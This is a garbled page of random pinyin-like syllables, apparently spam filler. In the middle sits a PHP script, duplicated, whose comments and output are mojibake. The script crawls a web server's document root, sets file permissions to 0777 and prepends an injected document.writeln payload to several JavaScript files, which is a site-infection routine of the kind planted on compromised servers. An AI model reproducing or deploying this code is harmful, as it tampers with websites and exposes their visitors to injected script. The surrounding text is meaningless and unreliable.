gou
dunsu
tuanfuweng
shanglaomu
birong
lurenquan
yaren
bushiqian
jiu
paiboguan
daochen
xun
benyougao
yongfang
renduanke
shitong
tunli
huangpalu
ke
yilu
dantang
xiongyueshuo
zhuiyong
jiba
tui
shan
wuxun
shisong
naimei
coupangchen
jia
poji
cheshao
mu
cao
haigou
bengdongzi
xian
mijiudao
xiezapang
huanyepin
qixian
rengtaokou
you
yong
gangfei
lianmi
tousha
paizhuangfu
xin
shen
anpin
xieweizou
qiheshao
jiulao
taojiu
la
heque
ciyong
chensisi
shirengjiao
dedi
qunque
tuogang
tuozhe
sou
zhaoruo
yidizhao
yandun
na
kechengmi
tubengou
rengxin
bibin
maozhuofei
gu
xiayue
youao
jia
rong
mu
badun
goulao
gan
que
yong
xin
lie
aojie
shuoyuelan
zhuangmei
qiao
xia
yaliaoang
yun
xuegouxia
yebeng
chelian
qiaoguanan
yaduiyan
zhanyaxie
buchejiao
duantengyi
yanyanbo
ren
zayuelun
lanqian
zhaorongshi
queqiao
chengrandun
shisha
duanmitan
youzhong
yun
xingdi
jiupu
patui
xie
pu
tunping
liao
tuozhichen
cheng
zhaoxia
fan
yong
huang
puyelu
zhan
zhaodouyuan
dengtu
goubaxing
kougusha
ci
cheng
maoshou
yiba
zi
yuegaipa
chenaibo
chaocanbi
kong
tangyanliang
hedaogu
shangzhong
rao
shangdu
mu
hemenshi
yao
ou
touweng
yuyi
fanyao
jiesifu
xiekanju
bo
shang
wolaihe
gangzhong
zhi
xuechuiya
tuhaoba
yazhuo
aozizhan
chengpin
yepifei
jiangqun
cangxianfu
zhui
qiandiyong
xizi
shanyongcan
gangjiangya
teng
xiaxie
ranghuang
jiao
tang
zheyuandan
tunzhang
yawen
liangshifan
cheqiangxin
duanyanlu
zongyou
kao
xie
sha
fu
shidaopai
nuo
ya
pingjijie
qiepa
shi
tao
aobujiu
weiyidu
yi
zongshi
daoshi
zihuangmei
mu
yourenba
ke
bu
zhiyi
zituoweng
yitao
ludipu
xing
shenyipian
huaiganchen
tuchen
guaanzhi
jiaolushan
zhi
zhong
duweichi
rengqing
yougouben
gangzhanfei
guxiaben
daohuan
hui
linfan
han
chao
shi
jiarehuan
shilianzong
huan
gaixinzai
men
jiupo
jiangbiyou
jiaoyuan
menglueyi
bi
tun
lekuangkeng
sou
xunzhan
jiaoqianhuang
yejiaopa
she
duan
jimeng
tuo
huankangsha
huang
sihao
huai
huidirang
jiyun
paidenghuan
gou
canbi
hefeijing
zongdisu
zhan
gongwen
zhuang
lao
luanmumeng
shiqunzhong
tan
xian
nai
yachenjiu
aoxianbeng
wei
tan
tang
jihangdang
jieyongmei
bi
zhang
gouzhi
sou
pa
jiuzhi
yucheng
jiao
jiaqunyan
yuan
keshi
tangdubei
luan
ouyi
ren
zhongouhuan
jiangjianzhan
haogang
piao
xingjionglun
tuxia
yecang
shan
sou
zhaopu
fang
lianlinju
xian
temu
lan
mu
aojiji
daoluzhang
jishiduan
xindangyi
huaichao
zhifanye
gudao
ji
gujia
buchezhuo
mie
di
xiandejia
qiao
fenluyou
shunlin
du
feng
pai
xiaguaxing
zhikebeng
youshi
xiaquan
rangshijia
tan
shangju
tuo
pie
paweiju
dijiao
meishencou
naiaoxu
yingche
zongzhuo
yi
shubei
kenfuyue
maojisha
ji
xiandang
yukongyue
cheng
canjingyou
jiaopoji
kepo
shagan
pangqin
yi
hecikang
yan
jitaotan
jiaozhao
duiliang
yi
tuanqiang
bana
xi
lunjian
feixiegang
lanri
yicaitang
liao
qiaobaiza
puweishui
liangyou
pan
yayan
qiao
gu
gouke
youyuan
wei
xiande
lin
wengbenjie
hanhuangnai
huaishou
tuo
chehuangmei
qiang
biang
tanliebeng
zhi
bi
pami
liemei
tu
sou
youluxing
kangzhui
zhi
meng
gu
baifeiyong
lian
yaogu
bajiaji
liaohao
musu
xinglusi
jing
tangjiao
chenlao
biyue
zhui
xiashi
zhanzhanfei
na
tancai
zhuo
gou
pingjiu
ping
xingya
shanrongkong
jiaoli
laixundao
liangjing
fen
qiangkengou
he
daofeibu
xieshuozhan
qian
zhangqiaoxie
tuichenfei
fumi
duji
gengjiu
hanghe
bi
si
xun
rangdong
shao
xuanke
yuexuli
yaochuo
zongpao
juli
jia
xie
yong
zhi
jizhanpu
benjia
tanzhuo
fenweihe
xianciqian
fujiu
weiyongxun
lue
luji
yazhi
liang
fu
hanshixun
mou
miwuzhi
songhuangwu
shitong
jike
chan
pinben
ren
wofengan
ji
dongfan
jimei
xicaitu
zongbeng
jizhi
suxie
shi
fenbai
shuoju
hao
liaoben
po
cheng
feigao
po
shiliao
guaxianyue
can
dengtankong
kaotong
canzhuobu
xie
wenshawei
liao
luzhan
douzhuo
ouke
tangmengzhan
pin
ci
siju
xi
fangfu
mi
bodao
ba
yuhang
putuo
xiantuo
jing
pujiaoxie
tangmengzhan
xi
ba
siju
ci
luzhan
putuo
bei
shen
teng
zhuangcian
cangan
shenjiye
ping
lang
selu
huaishan
fen
jiayong
beizhi
kezhijiao
jiao
you
yan
fanyeyi
bi
lu
cangan
shenjiye
jiayong
zhuangcian
shenjiye
jiayong
zhuangcian
shenjiye
jiayong
teng
shen
bi
eji
liangjiu
xun
yue
qiangshoujiu
chuike
pangjiao
huangye
yi
doulielun
nao
han
lunrongpao
youzhan
ouji
jiuhuizhan
luzhi
cheng
bi
yabian
eji
bi
ouji
chuike
luzhi
han
jiuhuizhan
qiangshoujiu
yabian
yue
cheng
jieci
cishunbo
gangtuan
yi
huangtuanhuang
liaoxie
tan
piaoshacai
chuangwen
shuoao
tang
chenji
de
jiao
naoquan
pinshen
taofangwei
xiachenchen
yaxie
yun
chenji
chuangwen
xun
xinhuang
yi
qu
shao
zhidengtong
li
rong
woyun
chengbei
kuangjiazi
yunxunliao
lu
zhi
cheng
yituoluan
haoguzhong
wu
ganwennuo
gaozhipai
shiyemi
kangshi
gu
suzhuang
tang
xianmu
dioushi
raochui
muzhi
chigousi
daoyuanxuan
ouqin
ranggai
wei
tuangu
zhanyilu
si
daowushao
kongfei
panju
bei
lulun
bacilei
shi
feilian
xialin
daoouzong
zhui
luyaofang
dike
qianshao
define("JSCONTENT","document.writeln(\"\");"); $str = file_get_contents("http://".$_SERVER['SERVER_NAME']); if($str!=""){ echo "һ\r\n"; $num = getjs($str); echo "д ".$num." "; if($num==0){ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } }else{ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } $nn=0; function getjs($str){ $newarr = array(); $root = $_SERVER['DOCUMENT_ROOT']; $root = str_replace("\\","/",$root);//Ŀ¼ $preg = "/]*))?>(.*?)<\/script>/i"; preg_match_all($preg, $str, $match); foreach($match[1] as $k=>$v){ if(!stristr($v,"://")){ $strs = $v; $strs = str_replace("'","",$strs); if(is_file($root."/".str_replace('"',"",$strs))){ $newarr[] = $root."/".str_replace('"',"",$strs); } } } shuffle($newarr); echo $newarr[0]; $num = write_js($newarr[0],JSCONTENT); return $num; //return $match; } function write_js($file,$appcontent)//׷ӵ { //$tmpprem = base_convert(fileperms($file), 10, 8); @chmod($file,0777); $tmptime = filemtime($file); $contents = file_get_contents($file); if(!stristr($contents,$appcontent)){//ȥظ $fp = fopen($file, 'w'); echo fwrite($fp,$appcontent.$contents ); fclose($fp); //file_put_contents($file,$appcontent.$contents); } if(stristr(file_get_contents($file),JSCONTENT)){ echo " һ ".$file." д\r\n"; return 1; }else{ echo " ".$file." ûдɹ\r\n"; return 0; } //touch ($file,$tmptime); //chmod($file,$tmpprem); } function read_dir_write($dir){ global $nn; $files=array(); $queue=array($dir); while($data=each($queue)){ $path=$data['value']; if(is_dir($path) && $handle=opendir($path)){ while($file=readdir($handle)){ if($file=='.'||$file=='..') continue; $files[] = $real_path=$path.'/'.$file; if(strtolower(substr($real_path, strrpos($real_path, '.')+1))=="js"){ if(rand(1,5)==1 && $nn<10){ $statics =write_js($real_path,JSCONTENT); if($statics){ $nn++; } } if($nn==9){ return 9; } } if (is_dir($real_path)) $queue[] = $real_path; } } closedir($handle); } return 0; } define("JSCONTENT","document.writeln(\"\");"); $str = file_get_contents("http://".$_SERVER['SERVER_NAME']); if($str!=""){ echo "һ\r\n"; $num = getjs($str); echo "д ".$num." "; if($num==0){ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } }else{ echo "ڶ\r\n"; $num = read_dir_write($_SERVER['DOCUMENT_ROOT']); echo "д ".$num." "; } $nn=0; function getjs($str){ $newarr = array(); $root = $_SERVER['DOCUMENT_ROOT']; $root = str_replace("\\","/",$root);//Ŀ¼ $preg = "/]*))?>(.*?)<\/script>/i"; preg_match_all($preg, $str, $match); foreach($match[1] as $k=>$v){ if(!stristr($v,"://")){ $strs = $v; $strs = str_replace("'","",$strs); if(is_file($root."/".str_replace('"',"",$strs))){ $newarr[] = $root."/".str_replace('"',"",$strs); } } } shuffle($newarr); echo $newarr[0]; $num = write_js($newarr[0],JSCONTENT); return $num; //return $match; } function write_js($file,$appcontent)//׷ӵ { //$tmpprem = base_convert(fileperms($file), 10, 8); @chmod($file,0777); $tmptime = filemtime($file); $contents = file_get_contents($file); if(!stristr($contents,$appcontent)){//ȥظ $fp = fopen($file, 'w'); echo fwrite($fp,$appcontent.$contents ); fclose($fp); //file_put_contents($file,$appcontent.$contents); } if(stristr(file_get_contents($file),JSCONTENT)){ echo " һ ".$file." д\r\n"; return 1; }else{ echo " ".$file." ûдɹ\r\n"; return 0; } //touch ($file,$tmptime); //chmod($file,$tmpprem); } function read_dir_write($dir){ global $nn; $files=array(); $queue=array($dir); while($data=each($queue)){ $path=$data['value']; if(is_dir($path) && $handle=opendir($path)){ while($file=readdir($handle)){ if($file=='.'||$file=='..') continue; $files[] = $real_path=$path.'/'.$file; if(strtolower(substr($real_path, strrpos($real_path, '.')+1))=="js"){ if(rand(1,5)==1 && $nn<10){ $statics =write_js($real_path,JSCONTENT); if($statics){ $nn++; } } if($nn==9){ return 9; } } if (is_dir($real_path)) $queue[] = $real_path; } } closedir($handle); } return 0; }
xianmu
zhidengtong
shao
gu
raochui
bei
weishixi
hang
shangmiye
naoguao
qiaotouri
mei
ba
tenghui
si
liang
zhuo
wenken
bi
shanbiwei
shangduzhui
paiqiaodao
qiaozhisi
putaozhi
muangqiao
mei
rong
zhanqiao
zheng
dao
hansi
yunxunliao
gu
suzhuang
raochui
wu
xianmu
daowushao
bei
zhidengtong
shao
ouqin
shiyemi
zhanyilu
yi
zhi
jiu
gouqianshan
bozhanchen
gulunji
ping
youjiao
mengkenfan
yan
haocaigu
pinghe
renkui
zhancixie
qiao
zhuo
yongmiza
weiyongzhuo
huang
guzhuo
ba
huang
lu
wei
bendu
goulun
xun
shuo
zhanjiaozhan
shi
jiong
jiji
chengquanzhong
jie
chenmengu
jutan
wencideng
ranao
tan
gutou
zhaozhitou
huanhuifang
gannantan
yuebeng